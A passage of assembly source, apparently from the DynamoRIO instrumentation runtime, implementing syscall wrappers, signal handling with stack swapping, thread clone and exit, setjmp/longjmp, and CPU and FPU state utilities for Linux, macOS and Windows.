jmp GLOBAL_REF(unexpected_return) END_FUNC(_start) #endif /* !STANDALONE_UNIT_TEST && !STATIC_LIBRARY */ /* i#1227: on a conflict with the app we reload ourselves. * xfer_to_new_libdr(entry, init_sp, cur_dr_map, cur_dr_size) * => * Invokes entry after setting sp to init_sp and placing the current (old) * libdr bounds in registers for the new libdr to unmap. */ DECLARE_FUNC(xfer_to_new_libdr) GLOBAL_LABEL(xfer_to_new_libdr:) /* Get the args */ mov REG_XAX, ARG1 mov REG_XBX, ARG2 /* _start looks in xdi and xsi for these */ mov REG_XDI, ARG3 mov REG_XSI, ARG4 /* Restore sp */ mov REG_XSP, REG_XBX jmp REG_XAX END_FUNC(xfer_to_new_libdr) #endif /* LINUX */ /* while with pre-2.6.9 kernels we were able to rely on the kernel's * default sigreturn code sequence and be more platform independent, * case 6700 necessitates having our own code, which for now, like * dynamorio_syscall, hardcodes int 0x80 */ DECLARE_FUNC(dynamorio_sigreturn) GLOBAL_LABEL(dynamorio_sigreturn:) #ifdef X64 # ifdef MACOS mov eax, HEX(20000b8) # else mov eax, HEX(f) # endif mov r10, rcx syscall #else # ifdef MACOS /* we assume we don't need to align the stack (tricky to do so) */ /* XXX: should we target _sigtramp instead? Some callers aren't * on a signal frame though. */ mov eax, HEX(b8) # else mov eax, HEX(ad) # endif /* PR 254280: we assume int$80 is ok even for LOL64 */ int HEX(80) #endif /* should not return. if we somehow do,infinite loop is intentional. * FIXME: do better in release build! FIXME - why not an int3? */ jmp GLOBAL_REF(unexpected_return) END_FUNC(dynamorio_sigreturn) /* we need to exit without using any stack, to support * THREAD_SYNCH_TERMINATED_AND_CLEANED. * XXX: on MacOS this does use the stack. * FIXME i#1403: on MacOS we fail to free the app's stack: we need to pass it to * bsdthread_terminate. */ DECLARE_FUNC(dynamorio_sys_exit) GLOBAL_LABEL(dynamorio_sys_exit:) #ifdef MACOS /* We need the mach port in order to invoke bsdthread_terminate */ mov eax, MACH_thread_self_trap # ifdef X64 or eax, SYSCALL_NUM_MARKER_MACH # else neg eax /* XXX: what about stack alignment? hard to control since we jumped here */ # endif /* see dynamorio_mach_syscall about why we do this call;pop and sysenter */ call dynamorio_sys_exit_next dynamorio_sys_exit_next: pop REG_XDX lea REG_XDX, [1/*pop*/ + 3/*lea*/ + 2/*sysenter*/ + 2/*mov*/ + REG_XDX] mov REG_XCX, REG_XSP sysenter jae dynamorio_sys_exit_failed # ifdef X64 mov ARG4, 0 /* stack to free: NULL */ mov ARG3, 0 /* stack free size: 0 */ mov ARG2, REG_XAX /* kernel port, which we just acquired */ mov ARG1, 0 /* join semaphore: SEMAPHORE_NULL */ mov eax, SYS_bsdthread_terminate or eax, HEX(2000000) /* 2<<24 for BSD syscall */ mov r10, rcx syscall # else lea REG_XSP, [-ARG_SZ + REG_XSP] /* maintain align-16: offset retaddr */ push 0 /* stack to free: NULL */ push 0 /* stack free size: 0 */ push REG_XAX /* kernel port, which we just acquired */ push 0 /* join semaphore: SEMAPHORE_NULL */ push 0 /* retaddr slot */ mov eax, SYS_bsdthread_terminate int HEX(80) # endif #else /* LINUX: */ # ifdef X64 mov edi, 0 /* exit code: hardcoded */ mov eax, SYS_exit mov r10, rcx syscall # else mov ebx, 0 /* exit code: hardcoded */ mov eax, SYS_exit /* PR 254280: we assume int$80 is ok even for LOL64 */ int HEX(80) # endif #endif /* should not return. if we somehow do, infinite loop is intentional. * FIXME: do better in release build! FIXME - why not an int3? */ dynamorio_sys_exit_failed: jmp GLOBAL_REF(unexpected_return) END_FUNC(dynamorio_sys_exit) #ifdef UNIX /* We need to signal a futex or semaphore without using our dstack, to support * THREAD_SYNCH_TERMINATED_AND_CLEANED and detach. * Takes KSYNCH_TYPE* in xax and the post-syscall jump target in xcx. */ DECLARE_FUNC(dynamorio_condvar_wake_and_jmp) GLOBAL_LABEL(dynamorio_condvar_wake_and_jmp:) # ifdef LINUX /* We call futex_wakeall */ # ifdef X64 mov r12, rcx /* save across syscall */ mov ARG6, 0 mov ARG5, 0 mov ARG4, 0 mov ARG3, 0x7fffffff /* arg3 = INT_MAX */ mov ARG2, 1 /* arg2 = FUTEX_WAKE */ mov ARG1, rax /* &futex, passed in rax */ mov rax, 202 /* SYS_futex */ mov r10, rcx syscall jmp r12 # else /* We use the stack, which should be the app stack: see the MacOS args below. */ push ecx /* save across syscall */ mov ebp, 0 /* arg6 */ mov edi, 0 /* arg5 */ mov esi, 0 /* arg4 */ mov edx, 0x7fffffff /* arg3 = INT_MAX */ mov ecx, 1 /* arg2 = FUTEX_WAKE */ mov ebx, eax /* arg1 = &futex, passed in eax */ mov eax, 240 /* SYS_futex */ /* PR 254280: we assume int$80 is ok even for LOL64 */ int HEX(80) pop ecx jmp ecx # endif # elif defined(MACOS) /* We call semaphore_signal_all. We have to put syscall args on * the stack for 32-bit, and we use the stack for call;pop for * sysenter -- so we use the app stack, which we assume the caller has * put us on. We're only called when terminating a thread or detaching * so transparency should be ok so long as the app's stack is valid. */ mov REG_XDI, REG_XCX /* save across syscall */ mov REG_XAX, PTRSZ [REG_XAX] /* load mach_synch_t->sem */ # ifdef X64 mov ARG1, REG_XAX mov eax, MACH_semaphore_signal_all_trap or eax, SYSCALL_NUM_MARKER_MACH # else push REG_XAX mov eax, MACH_semaphore_signal_all_trap neg eax /* args are on stack, w/ an extra slot (retaddr of syscall wrapper) */ push 0 /* extra slot */ /* XXX: what about stack alignment? hard to control since we jumped here */ # endif /* see dynamorio_mach_syscall about why we do this call;pop and sysenter */ call dynamorio_semaphore_next dynamorio_semaphore_next: pop REG_XDX lea REG_XDX, [1/*pop*/ + 3/*lea*/ + 2/*sysenter*/ + 2/*mov*/ + REG_XDX] mov REG_XCX, REG_XSP sysenter # ifndef X64 lea esp, [2*ARG_SZ + esp] /* must not change flags */ # endif /* we ignore return val */ jmp REG_XDI # endif /* MACOS */ END_FUNC(dynamorio_condvar_wake_and_jmp) #endif /* UNIX */ /* exit entire group without using any stack, in case something like * SYS_kill via cleanup_and_terminate fails. * XXX: on 32-bit MacOS this does use the stack. */ DECLARE_FUNC(dynamorio_sys_exit_group) GLOBAL_LABEL(dynamorio_sys_exit_group:) #ifdef X64 mov edi, 0 /* exit code: hardcoded */ # ifdef MACOS mov eax, SYS_exit # else mov eax, SYS_exit_group # endif mov r10, rcx syscall #else # ifdef MACOS lea REG_XSP, [-ARG_SZ + REG_XSP] /* maintain align-16: offset retaddr */ push 0 /* exit code: hardcoded */ push 0 /* retaddr slot */ mov eax, SYS_exit # else mov ebx, 0 /* exit code: hardcoded */ mov eax, SYS_exit_group # endif /* PR 254280: we assume int$80 is ok even for LOL64 */ int HEX(80) #endif /* should not return. if we somehow do, infinite loop is intentional. * FIXME: do better in release build! why not an int3? */ jmp GLOBAL_REF(unexpected_return) END_FUNC(dynamorio_sys_exit_group) #if defined(LINUX) && !defined(X64) /* since our handler is rt, we have no source for the kernel's/libc's * default non-rt sigreturn, so we set up our own. */ DECLARE_FUNC(dynamorio_nonrt_sigreturn) GLOBAL_LABEL(dynamorio_nonrt_sigreturn:) pop eax /* I don't understand why */ mov eax, HEX(77) /* PR 254280: we assume int$80 is ok even for LOL64 */ int HEX(80) /* should not return. if we somehow do,infinite loop is intentional. * FIXME: do better in release build! FIXME - why not an int3? */ jmp GLOBAL_REF(unexpected_return) END_FUNC(dynamorio_nonrt_sigreturn) #endif #ifdef HAVE_SIGALTSTACK /* We used to get the SP by taking the address of our args, but that doesn't * work on x64 nor with other compilers. Today we use asm to pass in the * initial SP. For x64, we add a 4th register param and tail call to * master_signal_handler_C. Adding a param and doing a tail call on ia32 is * hard, so we make a real call and pass only xsp. The C routine uses it to * read the original params. * See also PR 305020. */ DECLARE_FUNC(master_signal_handler) GLOBAL_LABEL(master_signal_handler:) #ifdef X64 # ifdef LINUX mov ARG4, REG_XSP /* pass as extra arg */ jmp GLOBAL_REF(master_signal_handler_C) /* master_signal_handler_C will do the ret */ # else /* MACOS */ mov rax, REG_XSP /* save for extra arg */ push ARG2 /* infostyle */ push ARG5 /* ucxt */ push ARG6 /* token */ /* rsp is now aligned again */ mov ARG6, rax /* pass as extra arg */ CALLC0(GLOBAL_REF(master_signal_handler_C)) /* Set up args to SYS_sigreturn */ pop ARG3 /* token */ pop ARG1 /* ucxt */ pop ARG2 /* infostyle */ CALLC0(GLOBAL_REF(dynamorio_sigreturn)) jmp GLOBAL_REF(unexpected_return) # endif #else /* We need to pass in xsp. The easiest way is to create an * intermediate frame. */ mov REG_XAX, REG_XSP CALLC1_FRESH(GLOBAL_REF(master_signal_handler_C), REG_XAX) # ifdef MACOS mov eax, ARG5 /* ucxt */ /* Set up args to SYS_sigreturn, skipping the retaddr slot */ mov edx, ARG2 /* style */ CALLC2_FRESH(GLOBAL_REF(dynamorio_sigreturn), eax, edx) jmp GLOBAL_REF(unexpected_return) # else ret # endif #endif END_FUNC(master_signal_handler) #else /* !HAVE_SIGALTSTACK */ /* PR 283149: if we're on the app stack now and we need to deliver * immediately, we can't copy over our own sig frame w/ the app's, and we * can't push the app's below ours and have continuation work. One choice * is to copy the frame to pending and assume we'll deliver right away. * Instead we always swap to dstack, which also makes us a little more * transparent wrt running out of app stack or triggering app stack guard * pages. We do it in asm since it's ugly to swap stacks in the middle * of a C routine: have to fix up locals + frame ptr, or jmp to start of * func and clobber callee-saved regs (which messes up vmkernel sigreturn). */ DECLARE_FUNC(master_signal_handler) GLOBAL_LABEL(master_signal_handler:) mov REG_XAX, ARG1 mov REG_XCX, ARG2 mov REG_XDX, ARG3 /* save args */ push REG_XAX push REG_XCX push REG_XDX /* make space for answers: struct clone_and_swap_args */ sub REG_XSP, CLONE_AND_SWAP_STRUCT_SIZE mov REG_XAX, REG_XSP /* call a C routine rather than writing everything in asm */ CALLC2(GLOBAL_REF(sig_should_swap_stack), REG_XAX, REG_XDX) cmp al, 0 pop REG_XAX /* clone_and_swap_args.stack */ pop REG_XCX /* clone_and_swap_args.tos */ je no_swap /* calculate the offset between stacks */ mov REG_XDX, REG_XAX sub REG_XDX, REG_XCX /* shift = stack - tos */ # ifdef VMX86_SERVER /* update the two parameters to sigreturn for new stack * we can eliminate this once we have PR 405694 */ # ifdef X64 add r12, REG_XDX /* r12 += shift */ # else add REG_XSI, REG_XDX /* xsi += shift */ # endif add REG_XBP, REG_XDX /* xbp += shift */ # endif push REG_XDX CALLC2(GLOBAL_REF(clone_and_swap_stack), REG_XAX, REG_XCX) /* get shift back and update arg2 and arg3 */ pop REG_XDX pop REG_XCX /* arg3 */ pop REG_XAX /* arg2 */ add REG_XAX, REG_XDX /* arg2 += shift */ add REG_XCX, REG_XDX /* arg3 += shift */ # ifndef X64 /* update the official arg2 and arg3 on the stack */ mov [3*ARG_SZ + REG_XSP], REG_XAX /* skip arg1+retaddr+arg1 */ mov [4*ARG_SZ + REG_XSP], REG_XCX # endif push REG_XAX push REG_XCX /* need to get arg1, old frame, new frame */ mov REG_XAX, [4*ARG_SZ + REG_XSP] /* skip 3 args + retaddr */ neg REG_XDX add REG_XDX, REG_XSP /* xsp-shift = old frame */ add REG_XDX, 3*ARG_SZ /* old frame */ mov REG_XCX, REG_XSP add REG_XCX, 3*ARG_SZ /* new frame */ /* have to be careful about order of reg params */ CALLC5(GLOBAL_REF(fixup_rtframe_pointers), 0, REG_XAX, REG_XDX, REG_XCX, 0) no_swap: # ifdef X64 pop ARG3 pop ARG2 pop ARG1 mov rcx, rsp /* pass as 4th arg */ jmp GLOBAL_REF(master_signal_handler_C) /* can't return, no retaddr */ # else add REG_XSP, 3*ARG_SZ /* We need to pass in xsp. The easiest way is to create an * intermediate frame. */ mov REG_XAX, REG_XSP CALLC1(GLOBAL_REF(master_signal_handler_C), REG_XAX) ret # endif END_FUNC(master_signal_handler) #endif /* !HAVE_SIGALTSTACK */ #ifdef LINUX /* SYS_clone swaps the stack so we need asm support to call it. * signature: * thread_id_t dynamorio_clone(uint flags, byte *newsp, void *ptid, void *tls, * void *ctid, void (*func)(void)) */ DECLARE_FUNC(dynamorio_clone) GLOBAL_LABEL(dynamorio_clone:) /* save func for use post-syscall on the newsp. * when using clone_record_t we have 4 slots we can clobber. */ # ifdef X64 sub ARG2, ARG_SZ mov [ARG2], ARG6 /* func is now on TOS of newsp */ /* all args are already in syscall registers */ mov r10, rcx mov REG_XAX, SYS_clone syscall # else mov REG_XAX, ARG6 mov REG_XCX, ARG2 sub REG_XCX, ARG_SZ mov [REG_XCX], REG_XAX /* func is now on TOS of newsp */ mov REG_XDX, ARG3 /* preserve callee-saved regs */ push REG_XBX push REG_XSI push REG_XDI /* now can't use ARG* since xsp modified by pushes */ mov REG_XBX, DWORD [4*ARG_SZ + REG_XSP] /* ARG1 + 3 pushes */ mov REG_XSI, DWORD [7*ARG_SZ + REG_XSP] /* ARG4 + 3 pushes */ mov REG_XDI, DWORD [8*ARG_SZ + REG_XSP] /* ARG5 + 3 pushes */ mov REG_XAX, SYS_clone /* PR 254280: we assume int$80 is ok even for LOL64 */ int HEX(80) # endif cmp REG_XAX, 0 jne dynamorio_clone_parent pop REG_XCX call REG_XCX /* shouldn't return */ jmp GLOBAL_REF(unexpected_return) dynamorio_clone_parent: # ifndef X64 /* restore callee-saved regs */ pop REG_XDI pop REG_XSI pop REG_XBX # endif /* return val is in eax still */ ret END_FUNC(dynamorio_clone) #endif /* LINUX */ #endif /* UNIX */ #ifdef MACOS /* Thread interception at the user function. We need to get the * stack pointer and to preserve callee-saved registers, as we will return * back past the user function to the pthread layer (i#1403 covers * intercepting earlier). We also clear fs, as the kernel seems to set it to * point at a flat whole-address-space value, messing up our checks for * it being initialized. */ DECLARE_FUNC(new_bsdthread_intercept) GLOBAL_LABEL(new_bsdthread_intercept:) /* We assume we can go ahead and clobber caller-saved regs. */ mov eax, 0 mov fs, eax mov REG_XAX, ARG1 PUSH_PRIV_MCXT(0 /* for priv_mcontext_t.pc */) lea REG_XAX, [REG_XSP] /* stack grew down, so priv_mcontext_t at tos */ CALLC1_FRESH(GLOBAL_REF(new_bsdthread_setup), REG_XAX) /* should not return */ jmp GLOBAL_REF(unexpected_return) END_FUNC(new_bsdthread_intercept) #endif #ifdef WINDOWS /* * nt_continue_dynamo_start -- invoked to give dynamo control over * exception handler continuation (after a call to NtContinue). * identical to internal_dynamo_start except it calls nt_continue_start_setup * to get the real next pc, and has an esp adjustment at the start. */ DECLARE_FUNC(nt_continue_dynamo_start) GLOBAL_LABEL(nt_continue_dynamo_start:) /* assume valid esp * FIXME: this routine should really not assume esp */ /* grab exec state and pass as param in a priv_mcontext_t struct */ PUSH_PRIV_MCXT(0 /* for priv_mcontext_t.pc */) lea REG_XAX, [REG_XSP] /* stack grew down, so priv_mcontext_t at tos */ /* Call nt_continue_setup passing the priv_mcontext_t. It will * obtain and initialize this thread's dcontext pointer and * begin execution with the passed-in state. */ CALLC1(GLOBAL_REF(nt_continue_setup), REG_XAX) /* should not return */ jmp GLOBAL_REF(unexpected_return) END_FUNC(nt_continue_dynamo_start) #endif /* WINDOWS */ /* back_from_native_retstubs -- We use a different version of back_from_native for * each nested module transition. This has to have MAX_NATIVE_RETSTACK * elements, which we check in native_exec_init(). The size of each entry has * to match BACK_FROM_NATIVE_RETSTUB_SIZE in arch_exports.h. Currently we * assume that the assembler uses push imm8 and jmp rel8, but to get that * to happen for nasm 0.98.40 we're forced to use raw bytes for the pushes. As in * back_from_native, this code is executed natively by the app, so we assume the * app stack is valid and can be clobbered. */ DECLARE_FUNC(back_from_native_retstubs) GLOBAL_LABEL(back_from_native_retstubs:) #ifndef ASSEMBLE_WITH_GAS /* MASM does short jumps for public symbols. */ # define Lback_from_native GLOBAL_REF(back_from_native) #endif RAW(6a) RAW(0) /* push 0 */ jmp short Lback_from_native RAW(6a) RAW(1) /* push 1 */ jmp short Lback_from_native RAW(6a) RAW(2) /* push 2 */ jmp short Lback_from_native RAW(6a) RAW(3) /* push 3 */ jmp short Lback_from_native RAW(6a) RAW(4) /* push 4 */ jmp short Lback_from_native RAW(6a) RAW(5) /* push 5 */ jmp short Lback_from_native RAW(6a) RAW(6) /* push 6 */ jmp short Lback_from_native RAW(6a) RAW(7) /* push 7 */ jmp short Lback_from_native RAW(6a) RAW(8) /* push 8 */ jmp short Lback_from_native RAW(6a) RAW(9) /* push 9 */ jmp short Lback_from_native DECLARE_GLOBAL(back_from_native_retstubs_end) #ifndef ASSEMBLE_WITH_GAS # undef Lback_from_native #endif ADDRTAKEN_LABEL(back_from_native_retstubs_end:) END_FUNC(back_from_native_retstubs) /* * back_from_native -- for taking control back after letting a module * execute natively * assumptions: app stack is valid */ DECLARE_FUNC(back_from_native) GLOBAL_LABEL(back_from_native:) #ifdef ASSEMBLE_WITH_GAS /* We use Lback_from_native to force short jumps with gas. */ Lback_from_native: #endif /* assume valid esp * FIXME: more robust if don't use app's esp -- should use d_r_initstack */ /* grab exec state and pass as param in a priv_mcontext_t struct */ PUSH_PRIV_MCXT(0 /* for priv_mcontext_t.pc */) lea REG_XAX, [REG_XSP] /* stack grew down, so priv_mcontext_t at tos */ /* Call return_from_native passing the priv_mcontext_t. It will obtain * this thread's dcontext pointer and begin execution with the passed-in * state. */ #if defined(X64) || defined(MACOS) and REG_XSP, -FRAME_ALIGNMENT /* x64 or Mac alignment */ #endif CALLC1(GLOBAL_REF(return_from_native), REG_XAX) /* should not return */ jmp GLOBAL_REF(unexpected_return) END_FUNC(back_from_native) #ifdef UNIX /* Like back_from_native, except we're calling from a native module into a * module that should execute from the code cache. We transfer here from PLT * stubs generated by create_plt_stub() in core/unix/native_elf.c. See also * initialize_plt_stub_template(). On entry, next_pc is on the stack for ia32 * and in %r11 for x64. We use %r11 because it is scratch in the sysv amd64 * calling convention. */ DECLARE_FUNC(native_plt_call) GLOBAL_LABEL(native_plt_call:) PUSH_PRIV_MCXT(0 /* pc */) lea REG_XAX, [REG_XSP] /* lea priv_mcontext_t */ # ifdef X64 mov REG_XCX, r11 /* next_pc in r11 */ # else mov REG_XCX, [REG_XSP + PRIV_MCXT_SIZE] /* next_pc on stack */ add DWORD [REG_XAX + MCONTEXT_XSP_OFFS], ARG_SZ /* adjust app xsp for arg */ # endif CALLC2_FRESH(GLOBAL_REF(native_module_callout), REG_XAX, REG_XCX) /* If we returned, continue to execute natively on the app stack. */ POP_PRIV_MCXT_GPRS() # ifdef X64 jmp r11 /* next_pc still in r11 */ # else ret /* next_pc was on stack */ # endif END_FUNC(native_plt_call) #endif /* UNIX */ /* Our version of setjmp & long jmp. We don't want to modify app state like * SEH or do unwinding which is done by standard versions. */ #ifdef CLIENT_INTERFACE /* Front-end for client use where we don't want to expose our struct layouts, * yet we must call dr_setjmp directly w/o a call frame in between for * a proper restore point. * * int dr_try_start(try_except_context_t *cxt) ; */ DECLARE_EXPORTED_FUNC(dr_try_start) GLOBAL_LABEL(dr_try_start:) add ARG1, TRY_CXT_SETJMP_OFFS jmp GLOBAL_REF(dr_setjmp) END_FUNC(dr_try_start) #endif /* CLIENT_INTERFACE */ /* int cdecl dr_setjmp(dr_jmp_buf *buf); */ DECLARE_FUNC(dr_setjmp) GLOBAL_LABEL(dr_setjmp:) #ifdef UNIX /* PR 206278: for try/except we need to save the signal mask */ mov REG_XDX, ARG1 push REG_XDX /* preserve */ # if defined(MACOS) && !defined(X64) lea REG_XSP, [-2*ARG_SZ + REG_XSP] /* maintain align-16: ra + push */ # endif CALLC1(GLOBAL_REF(dr_setjmp_sigmask), REG_XDX) # if defined(MACOS) && !defined(X64) lea REG_XSP, [2*ARG_SZ + REG_XSP] /* maintain align-16: ra + push */ # endif pop REG_XDX /* preserve */ #else mov REG_XDX, ARG1 #endif mov [ 0 + REG_XDX], REG_XBX mov [ ARG_SZ + REG_XDX], REG_XCX mov [2*ARG_SZ + REG_XDX], REG_XDI mov [3*ARG_SZ + REG_XDX], REG_XSI mov [4*ARG_SZ + REG_XDX], REG_XBP mov [5*ARG_SZ + REG_XDX], REG_XSP mov REG_XAX, [REG_XSP] mov [6*ARG_SZ + REG_XDX], REG_XAX #ifdef X64 mov [ 7*ARG_SZ + REG_XDX], r8 mov [ 8*ARG_SZ + REG_XDX], r9 mov [ 9*ARG_SZ + REG_XDX], r10 mov [10*ARG_SZ + REG_XDX], r11 mov [11*ARG_SZ + REG_XDX], r12 mov [12*ARG_SZ + REG_XDX], r13 mov [13*ARG_SZ + REG_XDX], r14 mov [14*ARG_SZ + REG_XDX], r15 #endif xor eax, eax ret END_FUNC(dr_setjmp) /* int cdecl dr_longjmp(dr_jmp_buf *buf, int retval); */ DECLARE_FUNC(dr_longjmp) GLOBAL_LABEL(dr_longjmp:) mov REG_XAX, ARG2 mov REG_XDX, ARG1 mov REG_XBX, [ 0 + REG_XDX] mov REG_XDI, [2*ARG_SZ + REG_XDX] mov REG_XSI, [3*ARG_SZ + REG_XDX] mov REG_XBP, [4*ARG_SZ + REG_XDX] mov REG_XSP, [5*ARG_SZ + REG_XDX] /* now we've switched to the old stack */ mov REG_XCX, [6*ARG_SZ + REG_XDX] mov [REG_XSP], REG_XCX /* restore the return address on to the stack */ mov REG_XCX, [ ARG_SZ + REG_XDX] #ifdef X64 mov r8, [ 7*ARG_SZ + REG_XDX] mov r9, [ 8*ARG_SZ + REG_XDX] mov r10, [ 9*ARG_SZ + REG_XDX] mov r11, [10*ARG_SZ + REG_XDX] mov r12, [11*ARG_SZ + REG_XDX] mov r13, [12*ARG_SZ + REG_XDX] mov r14, [13*ARG_SZ + REG_XDX] mov r15, [14*ARG_SZ + REG_XDX] #endif ret END_FUNC(dr_longjmp) /*############################################################################# *############################################################################# * Utility routines moved here due to the lack of inline asm support * in VC8. */ /* uint atomic_swap(uint *addr, uint value) * return current contents of addr and replace contents with value. * on win32 could use InterlockedExchange intrinsic instead. */ DECLARE_FUNC(atomic_swap) GLOBAL_LABEL(atomic_swap:) mov REG_XAX, ARG2 mov REG_XCX, ARG1 /* nop on win64 (ditto for linux64 if used rdi) */ xchg [REG_XCX], eax ret END_FUNC(atomic_swap) /* bool cpuid_supported(void) * Checks for existence of the cpuid instr by attempting to modify bit 21 of eflags */ DECLARE_FUNC(cpuid_supported) GLOBAL_LABEL(cpuid_supported:) PUSHF pop REG_XAX mov ecx, eax /* original eflags in ecx */ xor eax, HEX(200000) /* try to modify bit 21 of eflags */ push REG_XAX POPF PUSHF pop REG_XAX cmp ecx, eax mov eax, 0 /* zero out top bytes */ setne al push REG_XCX /* now restore original eflags */ POPF ret END_FUNC(cpuid_supported) /* void our_cpuid(int res[4], int eax, int ecx) * Executes cpuid instr, which is hard for x64 inline asm b/c clobbers rbx and can't * push in middle of func. */ DECLARE_FUNC(our_cpuid) GLOBAL_LABEL(our_cpuid:) mov REG_XAX, ARG1 /* We're clobbering REG_XCX before REG_XDX, because ARG3 is REG_XDX in * UNIX 64-bit mode. */ mov REG_XCX, ARG3 mov REG_XDX, ARG2 push REG_XBX /* callee-saved */ push REG_XDI /* callee-saved */ /* not making a call so don't bother w/ 16-byte stack alignment */ mov REG_XDI, REG_XAX mov REG_XAX, REG_XDX cpuid mov [ 0 + REG_XDI], eax mov [ 4 + REG_XDI], ebx mov [ 8 + REG_XDI], ecx mov [12 + REG_XDI], edx pop REG_XDI /* callee-saved */ pop REG_XBX /* callee-saved */ ret END_FUNC(our_cpuid) /* We could use inline asm on Linux but it's cleaner to share the same code: */ /* void dr_stmxcsr(uint *val) */ #define FUNCNAME dr_stmxcsr DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 stmxcsr [REG_XAX] ret END_FUNC(FUNCNAME) #undef FUNCNAME /* void dr_xgetbv(uint *high, uint *low) */ #define FUNCNAME dr_xgetbv DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 mov REG_XDX, ARG2 push REG_XAX /* high */ push REG_XDX /* low */ mov ecx, 0 /* VS2005 assembler doesn't know xgetbv */ RAW(0f) RAW(01) RAW(d0) /* xgetbv */ pop REG_XCX mov DWORD [REG_XCX], eax /* low */ pop REG_XCX mov DWORD [REG_XCX], edx /* high */ ret END_FUNC(FUNCNAME) #undef FUNCNAME /* void dr_fxsave(byte *buf_aligned) */ #define FUNCNAME dr_fxsave DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 #ifdef X64 /* VS2005 doesn't know "fxsave64" (and it's "fxsaveq" for gcc 4.4) */ RAW(48) RAW(0f) RAW(ae) RAW(00) /* fxsave64 [REG_XAX] */ #else fxsave [REG_XAX] #endif fnclex finit ret END_FUNC(FUNCNAME) #undef FUNCNAME /* void dr_fnsave(byte *buf_aligned) */ #define FUNCNAME dr_fnsave DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 /* FIXME: do we need an fwait prior to the fnsave? */ fnsave [REG_XAX] fwait ret END_FUNC(FUNCNAME) #undef FUNCNAME /* void dr_fxrstor(byte *buf_aligned) */ #define FUNCNAME dr_fxrstor DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 #ifdef X64 /* VS2005 doesn't know "fxrstor64" */ RAW(48) RAW(0f) RAW(ae) RAW(08) /* fxrstor64 [REG_XAX] */ #else fxrstor [REG_XAX] #endif ret END_FUNC(FUNCNAME) #undef FUNCNAME /* void dr_frstor(byte *buf_aligned) */ #define FUNCNAME dr_frstor DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 frstor [REG_XAX] ret END_FUNC(FUNCNAME) #undef FUNCNAME #ifdef X64 /* void dr_fxsave32(byte *buf_aligned) */ #define FUNCNAME dr_fxsave32 DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 fxsave [REG_XAX] fnclex finit ret END_FUNC(FUNCNAME) #undef FUNCNAME /* void dr_fxrstor32(byte *buf_aligned) */ #define FUNCNAME dr_fxrstor32 DECLARE_FUNC(FUNCNAME) GLOBAL_LABEL(FUNCNAME:) mov REG_XAX, ARG1 fxrstor [REG_XAX] ret END_FUNC(FUNCNAME) #undef FUNCNAME #endif #ifdef WINDOWS /* on linux we use inline asm versions */ /* * void call_modcode_alt_stack(dcontext_t *dcontext, * EXCEPTION_RECORD *pExcptRec, * CONTEXT *cxt, app_pc target, uint flags, * bool using_initstack, fragment_t *f) * custom routine used to transfer control from check_for_modified_code() * to found_modified_code() win32/callback.c. */ #define dcontext ARG1 #define pExcptRec ARG2 #define cxt ARG3 #define target ARG4 #define flags ARG5 #define using_initstack ARG6 #define fragment ARG7 DECLARE_FUNC(call_modcode_alt_stack) GLOBAL_LABEL(call_modcode_alt_stack:) mov REG_XAX, dcontext /* be careful not to clobber other in-reg params */ mov REG_XBX, pExcptRec mov REG_XDI, cxt mov REG_XSI, target mov REG_XDX, flags mov REG_XCX, fragment /* bool is byte-sized but rest should be zeroed as separate param */ cmp using_initstack, 0 je call_modcode_alt_stack_no_free mov DWORD SYMREF(initstack_mutex), 0 /* rip-relative on x64 */ call_modcode_alt_stack_no_free: RESTORE_FROM_DCONTEXT_VIA_REG(REG_XAX,dstack_OFFSET,REG_XSP) CALLC6(GLOBAL_REF(found_modified_code), REG_XAX, REG_XBX, REG_XDI, REG_XSI, REG_XDX, REG_XCX) /* should never return */ jmp GLOBAL_REF(unexpected_return) ret END_FUNC(call_modcode_alt_stack) #undef dcontext #undef pExcptRec #undef cxt #undef target #undef flags #undef using_initstack /* void call_intr_excpt_alt_stack(dcontext_t *dcontext, EXCEPTION_RECORD *pExcptRec, * CONTEXT *cxt, byte *stack, bool is_client) * * Routine to switch to a separate exception stack before calling * internal_exception_info(). This switch is useful if the dstack * is exhausted and we want to ensure we have enough space for * error reporting. */ #define dcontext ARG1 #define pExcptRec ARG2 #define cxt ARG3 #define stack ARG4 #define is_client ARG5 DECLARE_FUNC(call_intr_excpt_alt_stack) GLOBAL_LABEL(call_intr_excpt_alt_stack:) mov REG_XAX, dcontext mov REG_XBX, pExcptRec mov REG_XDI, cxt mov REG_XBP, is_client mov REG_XSI, REG_XSP mov REG_XSP, stack # ifdef X64 /* retaddr + this push => 16-byte alignment prior to call */ # endif push REG_XSI /* save xsp */ CALLC5(GLOBAL_REF(internal_exception_info), \ REG_XAX /* dcontext */, \ REG_XBX /* pExcptRec */, \ REG_XDI /* cxt */, \ 1 /* dstack overflow == true */, \ REG_XBP /* is_client */) pop REG_XSP ret END_FUNC(call_intr_excpt_alt_stack) #undef dcontext #undef pExcptRec #undef cxt #undef stack /* CONTEXT.Seg* is WORD for x64 but DWORD for x86 */ #ifdef X64 # define REG_XAX_SEGWIDTH ax #else # define REG_XAX_SEGWIDTH eax #endif /* Need a second volatile register for any calling convention. In all * conventions, XCX is volatile, but it's ARG4 on Lin64 and ARG1 on Win64. * Using XCX on Win64 is fine, but on Lin64 it clobbers ARG4 so we use XDI as * the free reg instead. */ #if defined(UNIX) && defined(X64) # define FREE_REG rdi #else # define FREE_REG REG_XCX #endif /* void get_segments_defg(cxt_seg_t *ds, cxt_seg_t *es, cxt_seg_t *fs, cxt_seg_t *gs) */ DECLARE_FUNC(get_segments_defg) GLOBAL_LABEL(get_segments_defg:) xor eax, eax /* Zero XAX, use it for reading segments. */ mov FREE_REG, ARG1 mov ax, ds mov [FREE_REG], REG_XAX_SEGWIDTH mov FREE_REG, ARG2 mov ax, es mov [FREE_REG], REG_XAX_SEGWIDTH mov FREE_REG, ARG3 mov ax, fs mov [FREE_REG], REG_XAX_SEGWIDTH mov FREE_REG, ARG4 mov ax, gs mov [FREE_REG], REG_XAX_SEGWIDTH ret END_FUNC(get_segments_defg) 